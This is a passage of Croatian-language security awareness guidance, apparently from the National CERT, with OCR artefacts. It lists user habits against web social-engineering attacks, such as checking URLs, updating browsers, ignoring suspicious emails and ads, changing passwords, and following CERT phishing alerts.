pricuvnih kopija podataka pohranjenih tako da napadac do njih ne moZe do¢i (npr. offline
pricuvne kopije).

Postoji nekoliko sigurnosnih mjera kojih bi se svaki korisnik trebao pridrzavati kako bi se
zaStitio od napada socijalnim inZenjerstvom na webu, a to:

¢ Provjeravanje URL-a web stranice. Kako bi se zaStitio od web napada, za
korisnika je najbitnije da razvije naviku provjere URL-a svaki put prije upisivanja
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osjetljivih korisnickih podataka te naravno nikad ne ostavlja podatke na web
stranici za koju nije siguran da je originalna.

¢ Redovito azuriranje preglednika i njegovih dodataka. Izbjegavanje Adobe
Flash dodatka pregledniku. U dokumentima Nacionalnog CERT-a o Sigurnosnim
rizicima JavaScript kéda prilikom pregledavanja weba i Exploit kitovima detaljno
su opisane sve opasnosti koje sa sobom nose neaZurirani (ranjivi) web preglednik
i njegovi dodaci i kako ih napada¢ moze iskoristiti/napasti. Ukratko, redovitim
azuriranjem preglednika korisnik se moZe zastititi od ve¢ine napada na webu jer
se oni oslanjanju na softverske ranjivosti koje se azuriranjem ispravljaju. Naravno,
azurirani preglednik nece nista pomoci ako Zrtva unese korisnicko ime i lozinku
na napadacevu stranicu.

e Ignoriranje sumnjivih oglasa i poruka e-poSte. Korisnik nikad ne bi smio
kliknuti na sumnjivi oglas ili otvoriti sumnjivu poveznicu/privitak koji mu je
poslan porukom e-poste.

e Redovita promjena lozinke korisnic¢kih racuna. Ako je napadac uspio prikupiti
korisnicke podatke, promjena lozinke onemoguéit ¢e mu daljnje
zloupotrebljavanje ra¢una zZrtve. Ako Vam neki od vasih npr. Facebook prijatelja
kaZe da mu stiZu sumnjive poveznice s VaSeg raCuna, promjena lozinke
onemogucit ¢e napadacu daljnje koriStenje VasSeg Facebook profila.

e Informiranje o aktualnim phishing kampanjama i Kompromitiranim
legitimnim stranicama na stranicama Nacionalnog CERT-a. Jedna od misija
Nacionalnog CERT-a je pravovremeno informirati korisnike o svim aktualnostima
vezana uz web prijetnje. Na njegovim stranicama moZete pronaci obavijesti i
upozorenja o trenutno aktualnim kampanjama koje su usmjerene na velik broju
korisnika. Npr. ako ste primili poruku e-poste od ,Porezne uprave“ u kojemu se od
Vas traZe podaci o kreditnoj kartici, na stranici CERT-a moZete provjeriti postoji li
nekakvo upozorenje o takvim porukama.
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